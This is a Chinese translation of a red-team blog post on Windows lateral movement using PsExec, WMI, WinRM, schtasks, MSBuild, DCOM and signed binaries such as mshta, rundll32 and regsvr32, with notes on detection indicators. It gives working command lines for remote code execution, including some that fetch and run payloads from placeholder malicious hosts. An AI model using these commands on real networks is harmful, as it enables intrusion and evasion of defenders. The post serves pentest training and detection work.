翻译文章,原文链接:https://hausec.com/2019/08/12/offensive-lateral-movement/
原文作者:root@Hausec
横向移动是从一个受损主机移动到另一个主机的过程。渗透测试人员和红队通常都是通过执行powershell.exe在远程主机上运行base64编码命令来完成这一任务的,这将返回一个信标。这样做的问题是,攻击性的PowerShell不再是一个新概念,即使是中等成熟的商店也会检测到它并迅速将其关闭,或者任何半像样的反病毒产品都会在恶意命令运行之前将其杀死。横向移动的困难在于操作安全性好(OpSec),这意味着生成尽可能少的日志,或者生成看起来正常的日志,即隐藏在显眼的地方以避免被发现。其目的不仅仅是展示技术,还展示引擎盖下正在发生的事情以及与之相关的任何指标。我将在这篇文章中引用一些Cobalt Strike语法,因为这是我们主要用于C2的,然而Cobalt Strike的内置横向移动技术非常嘈杂,并且对OpSec不友好。另外,我知道不是每个人都有Cobalt Strike,因此在大多数示例中也引用了Meterpreter,但这些技术是通用的。
有几种不同的横向移动技术,我将从一个高层次的概述来介绍大的横向移动技术以及它们是如何工作的,但是在介绍这些方法之前,让我们先澄清几个术语。
从另一方面来说,它包含了你的身份,并说明了你可以在系统上使用什么,不能在系统上使用什么。在不深入进行Windows身份验证的情况下,访问令牌引用用户登录Windows时创建的登录会话。
PsExec来自微软的系统内部组件套件,允许用户通过端口445(SMB)使用命名管道在远程主机上执行Powershell。它首先通过SMB连接到目标上的ADMIN$共享,上传PSEXESVC.exe并使用服务控制管理器启动.exe程序,它在远程系统上创建一个命名管道,并最终将该管道用于输入和输出。
语法示例如下:
psexec \\test.domain -u Domain\User -p Password ipconfig
Cobalt Strike(CS)的情况略有不同。它首先创建一个Powershell脚本,该脚本将对从内存运行的嵌入式有效负载进行base64编码,并压缩成一行,连接到ADMIN $或C $共享并运行Powershell命令,如下所示:
视频链接:https://videopress.com/embed/ujRak6pv
问题是它创建了一个服务并运行base64编码的命令,这是不正常的,会触发各种警报并生成日志。此外,发送的命令是通过命名管道发送的,命名管道在CS中具有默认名称(但可以更改)。Red Canary写了一篇关于检测它的好文章。
Cobalt Strike有两个PsExec内置函数,一个名为PsExec,另一个名为PsExec(psh)。两者之间的差异,尽管CS文档说,PsExec(psh)正在调用Powershell.exe,你的信标将作为Powershell.exe进程运行,其中没有psh的PsExec将作为rundll32.exe运行。如图,是通过Cobalt Strike查看进程ID。
默认情况下,PsExec将生成运行的rundll32.exe进程。它没有把一个动态链接库放到磁盘或者其他什么地方,所以从蓝队的角度来看,如果rundll32.exe在没有参数的情况下运行,那就非常可疑了。
服务控制器就是它听起来的样子——它控制服务。这对于攻击者来说特别有用,因为可以通过SMB调度任务,所以启动远程服务的语法是:
sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService
唯一需要注意的是,可执行文件必须是特定的服务二进制文件。服务二进制文件是不同的,因为它们必须“签入”服务控制管理器(SCM),如果没有,它将退出执行。因此,如果为此使用非服务二进制文件,它将作为代理/信标返回一秒钟,然后死掉。
在CS中,可以专门制作服务可执行文件:
以下是与Metasploit相同的攻击:
视频链接:https://videopress.com/embed/GijE14sT
Windows Management Instrumentation(WMI)内置于Windows中,允许通过WMI服务远程访问Windows组件。通过端口135使用远程过程调用(RPC)进行远程访问(以及稍后的临时端口)进行通信,它允许系统管理员远程执行自动管理任务,例如启动服务或远程执行命令。它可以直接通过wmic.exe进行交互。WMI查询示例如下所示:
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
视频链接:https://videopress.com/embed/PhvKIuSF
Cobalt Strike利用WMI在目标上执行Powershell有效负载,因此PowerShell.exe将在使用内置WMI时打开,这是一个OpSec问题,因为执行了base64编码的有效负载。
所以我们看到即使通过WMI,也创建了一个命名的管道,尽管wmic.exe能够通过PowerShell在目标上运行命令,那么为什么要首先创建命名管道呢?命名管道不是执行有效负载所必需的,但是CS创建有效负载使用命名管道进行通信(通过SMB)。
这只是触及WMI功能的表面。我的同事@mattifestation在Blackhat 2015期间就其功能发表了精彩的演讲,可以在这里阅读。
Windows远程管理允许管理服务器硬件,这也是微软通过超文本传输协议使用WMI的方式。与传统的Web流量不同,它不使用80/443,而是使用5985(HTTP)和5986(HTTPS)。默认情况下,WinRM随Windows一起安装,但是需要一些设置才能使用。服务器操作系统是个例外,因为它从2012年2月2日起就默认打开了。WinRM需要监听器(听起来熟悉吗?)上,即使WinRM服务已经启动,也必须有一个侦听器才能处理请求。这可以通过Powershell中的命令完成,也可以通过WMI和Powershell远程完成:
Enable-PSRemoting -Force
从非CS的角度来看(用你的二进制替换calc.exe):
winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe
视频链接:https://videopress.com/embed/evXifo4S
使用CobaltStrike执行:
当然,问题在于必须使用PowerShell启动它。如果你用的是远程,那么它需要通过DCOM或WMI来完成。虽然打开PowerShell并不奇怪,启动WinRM侦听器可能会被忽略,但噪声部分是在执行有效负载时出现的,因为在运行Cobalt Strike内置的WinRM模块时会有一个指示器。
指示器为:
"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
SchTasks是调度任务的缩写,最初在端口135上运行,然后通过临时端口继续通信,使用DCE/RPC进行通信。类似于在Linux中创建cron-job,你可以调度任务的发生并执行任何想要的。
从PS开始:
schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System
schtasks /run /tn ExampleTask /S host.domain
schtasks /F /delete /tn ExampleTask /S host.domain
在CobaltStrike中:
shell schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System
shell schtasks /run /tn ExampleTask /S host.domain
然后删除任务(opsec!)
shell schtasks / F / delete / tn ExampleTask / S host.domain
视频链接:https://videopress.com/embed/fTTJRHqz
虽然不是横向移动技术,但凯西·史密斯在2016年发现,MSBuild.exe可以与上述一些方法结合使用,以避免丢弃编码的Powershell命令或产生cmd.exe。MSBuild.exe是随.NET Framework程序包一起安装的Microsoft签名可执行文件。MSBuild用于通过提供架构的XML文件编译/构建C#应用程序。从攻击者的角度来看,这用于编译C#代码以生成恶意二进制文件或有效负载,甚至直接从XML文件运行有效负载。MSBuild也可以通过SMB进行编译,如下面的语法所示:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml
视频链接:https://videopress.com/embed/2f1W6dgz
XML Template:
什么不起作用:
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"
由于双跳问题,尝试使用wmic调用msbuild.exe在SMB上构建XML将会失败。当网络登录发生时,会出现双跳问题,这意味着凭据从未真正发送到远程主机。由于凭据没有发送到远程主机,远程主机无法向有效负载主机服务器进行身份验证。在Cobalt Strike中,使用wmic时经常会遇到这种情况,解决方法是为该用户制作令牌,这样凭据就可以从该主机传递。然而,如果没有CS,有几个选择可以绕过这个问题:
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp\
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
psexec \\host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\host.domain\C$\Windows\Temp\build.xml"
视频链接:https://videopress.com/embed/Uyi3y4z1
在Cobalt Strike中,有一个攻击者脚本扩展,它使用MSBuild来执行Powershell命令,而不是作为一个非托管进程(直接编译成机器代码的二进制代码)产生Powershell。这是通过WMI / wmic.exe上传的。
https://github.com/Mr-Un1k0d3r/PowerLessShell
MSBuild的关键指标是它在SMB上执行,MSBuild正在进行出站连接。如图,MSBuild.exe调用'QueryNetworkOpenInformationFile'操作,这是一个IOC。
组件对象模型(COM)是具有不同应用程序和语言的进程使用的协议,因此它们彼此通信。组件对象不能在引入了分布式组件(DCOM)协议的网络上使用。我的出色的同事Matt Nelson通过 Microsoft管理控制台(MMC)2.0脚本对象模型中的ExecuteShellCommand方法,通过DCOM发现了横向移动技术,该模型用于系统管理服务器管理功能。
它可以通过以下方式调用:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
DCOM使用网络登录(类型3),因此这里也遇到双跳问题。PsExec消除了双跳问题,因为凭据与命令一起传递,并生成交互式登录会话(类型2),但是问题是ExecuteShellCommand方法只允许四个参数,因此如果传入的参数少于或多于四个,就会出错。此外,空格必须是它们自己的参数(例如,“cmd.exe”、“$null”、“c”是三个参数),这消除了使用PsExec和DCOM来执行MSBuild的可能性。从这里,有几个选择。
在WebDAV中,它仍然使用一个UNC路径,但如果Windows无法到达445和139的路径,Windows最终将回退到端口80。对于WebDAV,SSL也是一种选择。对此唯一的警告是WebDAV不能在服务器上工作,因为默认情况下服务器操作系统上不存在该服务。
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")
这通过不要求任何身份验证来访问WebDAV服务器(在本例中,它也是C2服务器)来解决双跳问题。
视频链接:https://videopress.com/embed/vqiOLEk5
如视频中所示,此方法的问题在于它产生两个进程:mmc.exe,因为从MMC2.0和MSBuild.exe调用DCOM方法。另外,这会暂时写入磁盘。Webdav写道:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
并且在执行后不清理任何文件。MSBuild临时写入
C:\Users[USER]\AppData\Local\Temp[RANDOM]\
并且在执行后自己清理文件。这个技巧的好处是,因为MSBuild使用Webdav,所以MSbuild会清理Webdav创建的文件。
在本文中还介绍了DCOM的其他执行方法和防御建议。
不一定是横向移动技术,值得注意的是,你可以生成自己的二进制代码,而不是使用内置的CS,这可能更隐秘。这是通过对目标上的C$共享拥有对SMB的上传权限(即管理权限)来实现的,然后您可以将无阶段二进制文件文件上传到该共享,并通过wmic或DCOM执行该共享,如下所示。
视频链接:https://videopress.com/embed/j5KqGkxs
请注意,信标不会“登记”。这需要通过命令手动完成
link target.domain
没有CS:
copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe”
还有一些可能的代码执行选项,需要本地执行而不是远程执行,所以像MSBuild一样,这些选项必须与横向移动技术相结合。
Mshta.exe是Windows上默认安装的可执行文件,允许执行.hta文件。.hta文件是Microsoft HTML应用程序文件,允许在HTML应用程序中执行Visual Basic脚本。关于Mshta的好处是允许通过URL执行,因为它是受信任的Microsoft可执行文件,所以应该绕过默认的app-whitelisting。
mshta.exe https://malicious.domain/runme.hta
这个相对来说是众所周知的。Rundll32.exe还是一个受信任的Windows二进制文件,它是用来执行动态链接库文件的。DLL可以通过UNC WebDAV路径或者甚至通过JavaScript来指定。
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
由于它运行DLL,可以针对不同的技术将它与其他几个DLL配对:
rundll32.exe url.dll,OpenURL“C:\ Windows \ Temp \ test.hta”
[InternetShortcut]
URL = file:/// c:\ windows \ system32 \ cmd.exe
注册服务器用于注册和注销注册表的DLL。Regsrv32.exe是一个签名的Microsoft二进制文件,可以接受URL作为参数。具体来说,它将运行.sct文件,该文件是允许注册COM对象的XML文档。
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
阅读Casey Smitm的文章,进行更深入的解释。
同样,这个列表并不全面,因为有更多的技术。这只是我记录了一些我不知道的事情,并弄清楚事情是如何在幕后运作的。当学习Cobalt Strike时,我了解到内置的操作系统不友好,这可能会导致操作员被抓住,所以我想我至少应该记录一些高级IOC。我鼓励每个人查看MITRE ATT&CK 知识库,阅读更多关于横向运动和潜在的IOC的信息。请随时通过推特与我联系,提出问题,@ haus3c。